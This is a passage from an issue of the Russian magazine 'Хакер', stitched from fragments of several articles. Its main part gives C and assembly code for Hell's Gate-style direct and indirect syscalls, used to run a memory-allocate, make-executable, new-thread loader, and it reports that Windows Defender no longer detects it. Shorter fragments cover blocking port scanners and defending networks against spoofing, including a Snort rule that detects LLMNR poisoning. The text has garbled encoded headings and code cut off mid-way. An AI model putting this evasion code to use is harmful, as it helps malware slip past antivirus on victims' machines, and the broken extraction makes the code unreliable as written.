тать номера сисколов следующих за ней функций. Дополнительно в алгорит-
ме используется такая особенность: разница между сохраняющими номера
сисколов инструкциями составляет 32 бита (0x...F283 – 0x...F263 = 0x20).
Это значение хранится в переменных GoUp и GoDown соответственно.
Смещения адресов
#define UP -32
#define DOWN 32
#define RANGE 500
...
if (!g_NtdllConf.uModule) {
if (!InitNtdllConfigStructure())
return FALSE;
}
if (dwSysHash != NULL)
pNtSys->dwSyscallHash = dwSysHash;
else
return FALSE;
pNtSys->pSyscallAddress = pFuncAddress;
if (HASH(pcFuncName) == dwSysHash) {
if (*((PBYTE)pFuncAddress) == 0x4C
&& *((PBYTE)pFuncAddress + 1) == 0x8B
&& *((PBYTE)pFuncAddress + 2) == 0xD1
&& *((PBYTE)pFuncAddress + 3) == 0xB8
&& *((PBYTE)pFuncAddress + 6) == 0x00
&& *((PBYTE)pFuncAddress + 7) == 0x00) {
// Halo’s Gate
if (*((PBYTE)pFuncAddress) == 0xE9) {
// Tartarus Gate
if (*((PBYTE)pFuncAddress + 3) == 0xE9) {
ÈÇÌÅÍÅÍÈÅ ASM-ÔÀÉËÀ
.data
wSystemCall DWORD 000h
.code
HellsGate PROC
mov wSystemCall, 000h
mov wSystemCall, ecx
ret
HellsGate ENDP
HellDescent PROC
mov r10, rcx
mov eax, wSystemCall
syscall
ret
HellDescent ENDP
end
HellsGate(pVxTable->NtAllocateVirtualMemory.wSystemCall);
status = HellDescent((HANDLE)-1, &lpAddress, 0, &sDataSize,
MEM_COMMIT, PAGE_READWRITE);
.data
wSystemCall DWORD 0000h
.code
SetSSn PROC
mov wSystemCall, 000h
mov wSystemCall, ecx
ret
SetSSn ENDP
RunSyscall PROC
mov r10, rcx
mov eax, wSystemCall
syscall
ret
RunSyscall ENDP
end
.data
wSystemCall DWORD 0000h
.code
SetSSn PROC
xor eax, eax ; eax = 0
mov wSystemCall, eax ; wSystemCall = 0
mov eax, ecx ; eax = ssn
mov r8d, eax ; r8d = eax = ssn
mov wSystemCall, r8d ; wSystemCall = r8d = eax =
ssn
ret
SetSSn ENDP
RunSyscall PROC
xor r10, r10 ; r10 = 0
mov rax, rcx ; rax = rcx
mov r10, rax ; r10 = rax = rcx
mov eax, wSystemCall ; eax = ssn
jmp Run ; goto 'Run'
xor eax, eax ; no run
xor rcx, rcx ; no run
shl r10, 2 ; no run
Run:
syscall
ret
RunSyscall ENDP
end
Итак, в функции SetSSn сначала мы ксорим регистры друг с другом, что при-
водит к обнулению находящегося в них значения. Полученное значение
записываем в переменную, которая будет содержать номер сискола, переки-
дываем из одного регистра в другой и, наконец, записываем нужный SSN
в переменную.
Функция RunSyscall особо ничем не отличается — в ней лишь была
добавлена метка.
ÏÐÅÄÂÀÐÈÒÅËÜÍÛÉ ÐÅÇÓËÜÒÀÒ
}NTAPI_FUNC, *PNTAPI_FUNC;
// Глобальная переменная
NTAPI_FUNC g_Nt = { 0 };
BOOL InitializeNtSyscalls() {
if (!FetchNtSyscall(NtAllocateVirtualMemory_CRC32, &g_Nt.
NtAllocateVirtualMemory)) {
printf("[!] Failed In Obtaining The Syscall Number Of
NtAllocateVirtualMemory \n");
return FALSE;
}
printf("[+] Syscall Number Of NtAllocateVirtualMemory Is : 0x%0.
2X \n", g_Nt.NtAllocateVirtualMemory.dwSSn);
if (!FetchNtSyscall(NtProtectVirtualMemory_CRC32, &g_Nt.
NtProtectVirtualMemory)) {
printf("[!] Failed In Obtaining The Syscall Number Of
NtProtectVirtualMemory \n");
return FALSE;
}
printf("[+] Syscall Number Of NtProtectVirtualMemory Is : 0x%0.
2X \n", g_Nt.NtProtectVirtualMemory.dwSSn);
if (!FetchNtSyscall(NtCreateThreadEx_CRC32, &g_Nt.
NtCreateThreadEx)) {
printf("[!] Failed In Obtaining The Syscall Number Of
NtCreateThreadEx \n");
return FALSE;
}
printf("[+] Syscall Number Of NtCreateThreadEx Is : 0x%0.2X \n",
g_Nt.NtCreateThreadEx.dwSSn);
if (!FetchNtSyscall(NtWaitForSingleObject_CRC32, &g_Nt.
NtWaitForSingleObject)) {
printf("[!] Failed In Obtaining The Syscall Number Of
NtWaitForSingleObject \n");
return FALSE;
}
printf("[+] Syscall Number Of NtWaitForSingleObject Is : 0x%0.2X
\n", g_Nt.NtWaitForSingleObject.dwSSn);
return TRUE;
}
int main() {
if (!InitializeNtSyscalls()) {
printf("[!] Failed To Initialize The Specified
Direct-Syscalls \n");
return -1;
}
SetSSn(g_Nt.NtAllocateVirtualMemory.dwSSn);
if ((STATUS = RunSyscall(hProcess, &pAddress, 0, &sSize,
MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE)) != 0x00 || pAddress ==
NULL) {
printf("[!] NtAllocateVirtualMemory Failed With Error: 0x%0.
8X \n", STATUS);
return -1;
}
SetSSn(g_Nt.NtProtectVirtualMemory.dwSSn);
if ((STATUS = RunSyscall(hProcess, &pAddress, &sSize,
PAGE_EXECUTE_READ, &dwOld)) != 0x00) {
printf("[!] NtProtectVirtualMemory Failed With Error: 0x%0.
8X \n", STATUS);
return -1;
}
SetSSn(g_Nt.NtCreateThreadEx.dwSSn);
if ((STATUS = RunSyscall(&hThread, THREAD_ALL_ACCESS, NULL,
hProcess, pAddress, NULL, FALSE, NULL, NULL, NULL, NULL)) != 0x00) {
printf("[!] NtCreateThreadEx Failed With Error: 0x%0.8X \n",
STATUS);
return -1;
}
SetSSn(g_Nt.NtWaitForSingleObject.dwSSn);
if ((STATUS = RunSyscall(hThread, FALSE, NULL)) != 0x00) {
printf("[!] NtWaitForSingleObject Failed With Error: 0x%0.8X
\n", STATUS);
return -1;
}
return 0;
}
Defender 0 Detect
Успешный обход
Продолжение статьи →
КОДИНГ ← НАЧАЛО СТАТЬИ
Выполнение команд
}NT_SYSCALL, * PNT_SYSCALL;
...
ULONG_PTR uFuncAddress = (ULONG_PTR)pNtSys->pSyscallAddress +
0xFF;
if (dwSysHash != NULL)
pNtSys->dwSyscallHash = dwSysHash;
else
return FALSE;
if (!pNtSys->pSyscallAddress)
return FALSE;
ULONG_PTR uFuncAddress = (ULONG_PTR)pNtSys->pSyscallAddress +
0xFF;
.data
wSystemCall DWORD 0h
qSyscallInsAdress QWORD 0h
.code
SetSSn PROC
mov wSystemCall, 0h
mov qSyscallInsAdress, 0h
mov wSystemCall, ecx
mov qSyscallInsAdress, rdx
ret
SetSSn ENDP
RunSyscall PROC
mov r10, rcx
mov eax, wSystemCall
jmp qword ptr [qSyscallInsAdress]
ret
RunSyscall ENDP
end
.data
wSystemCall DWORD 0h
qSyscallInsAdress QWORD 0h
.code
SetSSn proc
xor eax, eax ; eax = 0
mov wSystemCall, eax ; wSystemCall = 0
mov qSyscallInsAdress, rax ; qSyscallInsAdress = 0
mov eax, ecx ; eax = ssn
mov wSystemCall, eax ; wSystemCall = eax =
ssn
mov r8, rdx ; r8 =
AddressOfASyscallInst
mov qSyscallInsAdress, r8 ; qSyscallInsAdress =
r8 = AddressOfASyscallInst
ret
SetSSn endp
RunSyscall proc
xor r10, r10 ; r10 = 0
mov rax, rcx ; rax = rcx
mov r10, rax ; r10 = rax = rcx
mov eax, wSystemCall ; eax = ssn
jmp Run
xor eax, eax ; wont run
xor rcx, rcx ; wont run
shl r10, 2 ; wont run
Run:
jmp qword ptr [qSyscallInsAdress]
xor r10, r10 ; r10 = 0
mov qSyscallInsAdress, r10 ; qSyscallInsAdress = 0
ret
RunSyscall endp
end
#define SET_SYSCALL(NtSys)(SetSSn((DWORD)NtSys.dwSSn,(PVOID)NtSys.
pSyscallInstAddress))
NT_SYSCALL NtAllocateVirtualMemory = { 0 };
FetchNtSyscall(NtAllocateVirtualMemory_Hash, &NtAllocateVirtualMemory
);
SET_SYSCALL(NtAllocateVirtualMemory);
RunSyscall(/* параметры для NtAllocateVirtualMemory */);
BOOL InitializeNtSyscalls() {
if (!FetchNtSyscall(NtAllocateVirtualMemory_CRC32, &g_Nt.
NtAllocateVirtualMemory)) {
printf("[!] Failed In Obtaining The Syscall Number Of
NtAllocateVirtualMemory \n");
return FALSE;
}
printf("[+] Syscall Number Of NtAllocateVirtualMemory Is : 0x%0.
2X \n\t\t>> Executing 'syscall' instruction Of Address : 0x%p\n",
g_Nt.NtAllocateVirtualMemory.dwSSn, g_Nt.NtAllocateVirtualMemory.
pSyscallInstAddress);
if (!FetchNtSyscall(NtProtectVirtualMemory_CRC32, &g_Nt.
NtProtectVirtualMemory)) {
printf("[!] Failed In Obtaining The Syscall Number Of
NtProtectVirtualMemory \n");
return FALSE;
}
printf("[+] Syscall Number Of NtProtectVirtualMemory Is : 0x%0.
2X \n\t\t>> Executing 'syscall' instruction Of Address : 0x%p\n",
g_Nt.NtProtectVirtualMemory.dwSSn, g_Nt.NtProtectVirtualMemory.
pSyscallInstAddress);
if (!FetchNtSyscall(NtCreateThreadEx_CRC32, &g_Nt.
NtCreateThreadEx)) {
printf("[!] Failed In Obtaining The Syscall Number Of
NtCreateThreadEx \n");
return FALSE;
}
printf("[+] Syscall Number Of NtCreateThreadEx Is : 0x%0.2X \n\t\
t>> Executing 'syscall' instruction Of Address : 0x%p\n", g_Nt.
NtCreateThreadEx.dwSSn, g_Nt.NtCreateThreadEx.pSyscallInstAddress);
if (!FetchNtSyscall(NtWaitForSingleObject_CRC32, &g_Nt.
NtWaitForSingleObject)) {
printf("[!] Failed In Obtaining The Syscall Number Of
NtWaitForSingleObject \n");
return FALSE;
}
printf("[+] Syscall Number Of NtWaitForSingleObject Is : 0x%0.2X
\n\t\t>> Executing 'syscall' instruction Of Address : 0x%p\n", g_Nt.
NtWaitForSingleObject.dwSSn, g_Nt.NtWaitForSingleObject.
pSyscallInstAddress);
return TRUE;
}
И финальное — main():
int main() {
if (!InitializeNtSyscalls()) {
printf("[!] Failed To Initialize The Specified
Indirect-Syscalls \n");
return -1;
}
SET_SYSCALL(g_Nt.NtAllocateVirtualMemory);
if ((STATUS = RunSyscall(hProcess, &pAddress, 0, &sSize,
MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE)) != 0x00 || pAddress ==
NULL) {
printf("[!] NtAllocateVirtualMemory Failed With Error: 0x%0.
8X \n", STATUS);
return -1;
}
SET_SYSCALL(g_Nt.NtProtectVirtualMemory);
if ((STATUS = RunSyscall(hProcess, &pAddress, &sSize,
PAGE_EXECUTE_READ, &dwOld)) != 0x00) {
printf("[!] NtProtectVirtualMemory Failed With Status : 0x%0.
8X\n", STATUS);
return -1;
}
SET_SYSCALL(g_Nt.NtCreateThreadEx);
if ((STATUS = RunSyscall(&hThread, THREAD_ALL_ACCESS, NULL,
hProcess, pAddress, NULL, FALSE, NULL, NULL, NULL, NULL)) != 0x00) {
printf("[!] NtCreateThreadEx Failed With Status : 0x%0.8X\n",
STATUS);
return -1;
}
SET_SYSCALL(g_Nt.NtWaitForSingleObject);
if ((STATUS = RunSyscall(hThread, FALSE, NULL)) != 0x00) {
printf("[!] NtWaitForSingleObject Failed With Error: 0x%0.8X
\n", STATUS);
return -1;
}
return 0;
}
ÔÈÍÀËÜÍÛÉ ÂÀÐÈÀÍÒ
Результаты сканирования на VT
Defender молчит
ЗАЩИЩАЕМ ПЕРИМЕТР
ОТ СКАНЕРОВ И БОТОВ
ÏÎÑÒÀÍÎÂÊÀ ÇÀÄÀ×È
ÓÃÐÎÇÛ È ÍÅÉÒÐÀËÈÇÀÖÈß
Если кому-то кажется, что сканирование — это вещь простая и вариантов тут
нет, то он ошибается. За время наблюдения я выявил три разных типа.
Ñêàíåð. Тут все понятно: зарядили перебор портов, не особо скрываясь,
и сидим ждем. Сканировать могут на постоянной основе или одноразово,
но всегда с одного адреса. Это легко выявить и заблокировать. Если нам
прислали три пакета и ни один не попал в открытый порт, то добро пожало-
вать в блок. На момент написания статьи первая десятка самых активных
источников этого класса за месяц выглядела так.
A/B/C — это маркер агента, куда запрос пришел. Здесь блокировать можно
только превентивно. Этим занимается модуль greyport, который повторяет
идею серых списков для почты. По умолчанию все порты закрыты, и, чтобы
получить доступ, надо повторить запрос заданное число раз (число повторов,
задержку отсчета и контрольный интервал можно задать в настройках
модуля).
В общем случае это не доставляет неудобств, кроме замедленного пер-
вого соединения. Доступ для адреса по умолчанию открывается на сутки,
потом процедура повторится. Эффективность не стопроцентная, но, задав
число повторов равное одному, можно отбить те самые 80% проходимцев,
два отвадят 90%, три — от 95%. Но три — это уже совсем предел. Сетевой
стек на стороне клиента больше пяти запросов, как правило, не отправляет,
и отлетать начнут уже нормальные клиенты.
На качество работы greyport влияет в том числе номер порта. Выше я при-
вел параметры эффективности для портов 80 и 22, а для Elasticsearch (9200)
задержка только одного первого пакета отбивает 99 запросов из 100.
Также на примере сканеров этого класса можно оценить скорость работы
«партнеров» по производственному процессу. Из таблицы видно, что задер-
жка между пакетами варьируется от секунд (для соседних адресов) до часов,
если сегменты разные. Однако тут есть существенный элемент случайности.
Например, во время подготовки выборки я нашел пример, когда адреса
из разных (сильно разных) сетей были опрошены с разницей в две секунды,
зато соседние — с разницей в две минуты.
Третий тип сканеров самый спокойный. Эти периодически постукивают то
тут, то там. Выглядит это следующим образом.
ÐÅÀÃÈÐÓÅÌ ÍÀ ÑÎÁÛÒÈß
Ê ÂÎÏÐÎÑÓ Î «ÏÎÏÈÍÃÓßÕ»
Продолжение статьи →
АДМИН ← НАЧАЛО СТАТЬИ
ЗАЩИЩАЕМ ПЕРИМЕТР
ОТ СКАНЕРОВ И БОТОВ
Тут стоит отметить, что практика выноса служб на нестандартные порты, нес-
мотря на свою кажущуюся «колхозность», существенно снижает шансы вле-
теть под первую волну атак, которая сопровождает появление новой зна-
чимой уязвимости.
Даже если периметр не прикрыт блок-листами, никто в здравом уме
не будет заставлять ботов заниматься тотальным сканированием, так как это
существенно замедляет процесс, максимум — отработка по наиболее веро-
ятным портам. Поэтому какой-нибудь Citrix Netscaler имеет шансы протянуть
в своем первозданном виде немного подольше. У его владельцев хотя бы
будет шанс успеть выкачать патчи с торрентов и проверить, что в них нет тро-
янов, до того как боты перейдут к работе по данным, заботливо собранным
конторами типа Shodan.
Спустя несколько месяцев работы список блокировок составляет боль-
ше 11 000 адресов, при общей базе, а так или иначе отметившихся —
154 000. Средняя прибавка — около 1200 записей в сутки после «прогрева»,
причем заметны волны. Например, вот так выглядит график регистрации
новых адресов (пик в начале — это очевидное следствие «холодного» пуска).
ÀÍÃËÈ×ÀÍÊÀ ÑÊÀÍÈÒ
Есть мнение, что маркетологи могут записать в свои книжечки новый способ
определения долей рынка хостинга и предоставления услуг доступа
в интернет. А то как ни почитаешь пресс-релизы, так у нас три десятка игро-
ков в отрасли и все лидеры, а тут на основе «природной активности» можно
развить целую теорию.
Вот сводная таблица по наиболее популярным пользователям,
под которыми осуществляются попытки доступа.
ÏÅÐÑÏÅÊÒÈÂÛ
ЗАЩИЩАЕМ СЕТИ
ОТ СПУФИНГ-АТАК
Эта статья — ни в коем случае не инструкция для защиты любой сети, потому
что у каждой из них свои особенности и всегда потребуется какой-то тюнинг.
Я буду демонстрировать работу на оборудовании Cisco, но с железом дру-
гого вендора принципиальной разницы нет. Концепция механизмов безопас-
ности везде одинаковая, и отличия будут лишь в синтаксисе настроек
и некоторых нюансах реализации.
Немного особняком стоит только система RouterOS, на которой работает
оборудование MikroTik. Там отсутствует один из главных, на мой взгляд,
механизмов безопасности — Dynamic ARP Inspection. Вместо него произво-
дитель фактически предлагает вести только статическую ARP-таблицу, а, учи-
тывая размеры современных корпоративных сетей, это в принципе нерен-
табельно. Также в RouterOS отсутствует RA Guard, предотвращающий атаки
на сервер DHCPv6.
Еще оговорюсь, что этот материал — не всеобъемлющий мануал
по защите от спуфинга. Атак может быть бесконечно много, и мы рассмотрим
лишь основные из них.
DHCP SNOOPING
Кстати, для IPSG можно тоже создавать статические записи внутри ком-
мутатора, но это делается без ACL.
LLMNR-отравление
NBNS-отравление
MDNS-отравление
ACL
ACL (Access Control List) — это специальные механизмы фильтрации трафика,
которые часто используются в компьютерных сетях. ACL — это просто набор
условий: какой трафик будет ожидаться и какое поведение коммутатора
или маршрутизатора будет при появлении такого типа трафика. Примеры
применения ACL:
• óïðàâëåíèå òðàôèêîì. Инженер сети сам решает, какой именно тра-
фик будет идти в VPN-туннель, какой трафик будет подвергаться трансля-
ции (NAT) и так далее;
• îãðàíè÷åíèå òðàôèêà ñåòåâûõ ïðîòîêîëîâ. Инженер сети может
использовать ACL, например, для ограничения Smart Install, чтобы только
ранее доверенные подсети могли обращаться к SMI. То же самое и с про-
токолами динамической маршрутизации вроде OSPF и EIGRP. И даже
с протоколами резервирования шлюзов: HSRP, VRRP, GLBP, CARP, ESRP;
• îáåñïå÷åíèå áåçîïàñíîñòè VTY. Терминальные линии VTY исполь-
зуются для удаленного управления сетевым устройством. ACL позволяют
настроить ограничение таким образом, чтобы к VTY можно было подклю-
чаться только из доверенных подсетей.
Нельзя сказать, что Standard ACL лучше, чем Extended ACL. Выбор между
ними зависит от конкретных условий. Однако настройка ACL не заканчива-
ется только их созданием. Эти ACL нужно еще и привязывать к интерфейсам.
VACL è VMAP
VACL (VLAN Access List) — это такой тип ACL, который может контролировать
трафик внутри VLAN-сегмента. То есть как раз то, что нам необходимо. Соз-
давать каждый раз ACL и привязывать его ко всем портам коммутатора
было бы слишком неудобно, к тому же может пострадать масштабируемость.
Вместо этого создаем один процесс VACL, и весь трафик внутри VLAN-сег-
мента будет под контролем.
Работа VACL у нас будет основана на двух аспектах:
• условии (сконфигурированные ACL с условиями для портов, используемых
LLMNR и NBNS);
• VACL-карте (карта фильтрации для VLAN, состоящая из правил с номера-
ми последовательностей).
Для seq 10 я создаю цепочку, при которой трафик, попадающий под ACL-
листы, будет отброшен, что отразится в логах коммутатора (action drop
log).
Для seq 20 я разрешаю работу остального трафика, чтобы не вызвать
непреднамеренный DoS (action forward).
Завершит настройку активация работы VACL. При этом нужно указать,
для какой сети VLAN будет использовать VACL.
alert udp any 5355 -> any any (msg:"△ LLMNR POISONING DETECTED △";
flow:stateless; content:"|80 00 00 01 00 01 00 00 00 00|"; sid:1337;
rev:1; classtype:attack-feature;)
Продолжение статьи →
АДМИН ← НАЧАЛО СТАТЬИ
ЗАЩИЩАЕМ СЕТИ
ОТ СПУФИНГ-АТАК
Àóòåíòèôèêàöèÿ
Аутентификация не позволит «левым» маршрутизаторам вступить в процесс
обеспечения отказоустойчивости. Если инженер собрался защищать FHRP
таким способом, то необходима стойкая парольная фраза.
Пример MD5-аутентификации для HSRP:
Ìàêñèìàëüíûé ïðèîðèòåò
Из соображений безопасности рекомендуется на Master- или Active-маршру-
тизаторе выставить максимальный приоритет. В таком случае, если злоумыш-
ленник отправит вредоносный пакет с приоритетом 255, стать «главным»
у него уже не получится, ведь такой уже имеется. Однако для VRRP это не
сработает, потому что максимальный приоритет, который можно задать, —
254. Поэтому разумнее будет использовать или аутентификацию, или даже
фильтрацию на основе ACL.
Пример задания максимального приоритета для HSRP:
Ïàññèâíûå èíòåðôåéñû
Настройка пассивных интерфейсов в контексте динамической маршрутиза-
ции позволяет роутеру запретить рассылать объявления через некоторые
интерфейсы. По умолчанию без настройки пассивных интерфейсов он рас-
сылает объявления во все интерфейсы, а это подвергает домен маршрутиза-
ции большому риску.
Пример пассивных интерфейсов для OSPF:
Àóòåíòèôèêàöèÿ
Применение аутентификации в доменах маршрутизации позволяет обес-
печить возможность входа только авторизованным, легитимным маршрутиза-
торам. Однако аутентификация настраивается с помощью паролей. Если ты
собираешься защитить домен маршрутизации, используя аутентификацию,
обязательно позаботься, чтобы эти пароли были достаточно стойкими. Они
хешируются с помощью криптографических хеш-функций, и злоумышленник
сможет считать значения хешей из дампа трафика и вскрыть пароль перебо-
ром. С полученным паролем он без труда подключится к домену маршрутиза-
ции.
Пример использования аутентификации для OSPF:
ÂÛÂÎÄÛ
MEGANEWS
Мария Нефёдова
nefedova@glc.ru
АРТ
yambuto
yambuto@gmail.com
КОНСУЛЬТАЦИОННЫЙ СОВЕТ
Иван Андреев, Олег Афонин,
Марк Бруцкий-Стем-
пковский, Алексей Глазков,
Nik Zerof, Юрий Язев
РЕКЛАМА
Анна Яковлева
Директор по спецпроектам
yakovleva.a@glc.ru
РАСПРОСТРАНЕНИЕ И ПОДПИСКА
Вопросы о подписке: Вопросы о материалах:
lapina@glc.ru support@glc.ru
Адрес редакции: 125080, город Москва, Волоколамское шоссе, дом 1, строение 1, этаж 8, помещение IX, комната 54, офис 7. Издатель: ИП
Югай Александр Олегович, 400046, Волгоградская область, г. Волгоград, ул. Дружбы народов, д. 54. Учредитель: ООО «Медиа Кар» 125080,
город Москва, Волоколамское шоссе, дом 1, строение 1, этаж 8, помещение IX, комната 54, офис 7. Зарегистрировано в Федеральной службе
по надзору в сфере связи, информационных технологий и массовых коммуникаций (Роскомнадзоре), свидетельство Эл № ФС77-67001 от 30.
08.2016 года. Мнение редакции не обязательно совпадает с мнением авторов. Все материалы в номере предоставляются как информация
к размышлению. Лица, использующие данную информацию в противозаконных целях, могут быть привлечены к ответственности. Редакция
не несет ответственности за содержание рекламных объявлений в номере. По вопросам лицензирования и получения прав на использование
редакционных материалов журнала обращайтесь по адресу: xakep@glc.ru. © Журнал «Хакер», РФ, 2022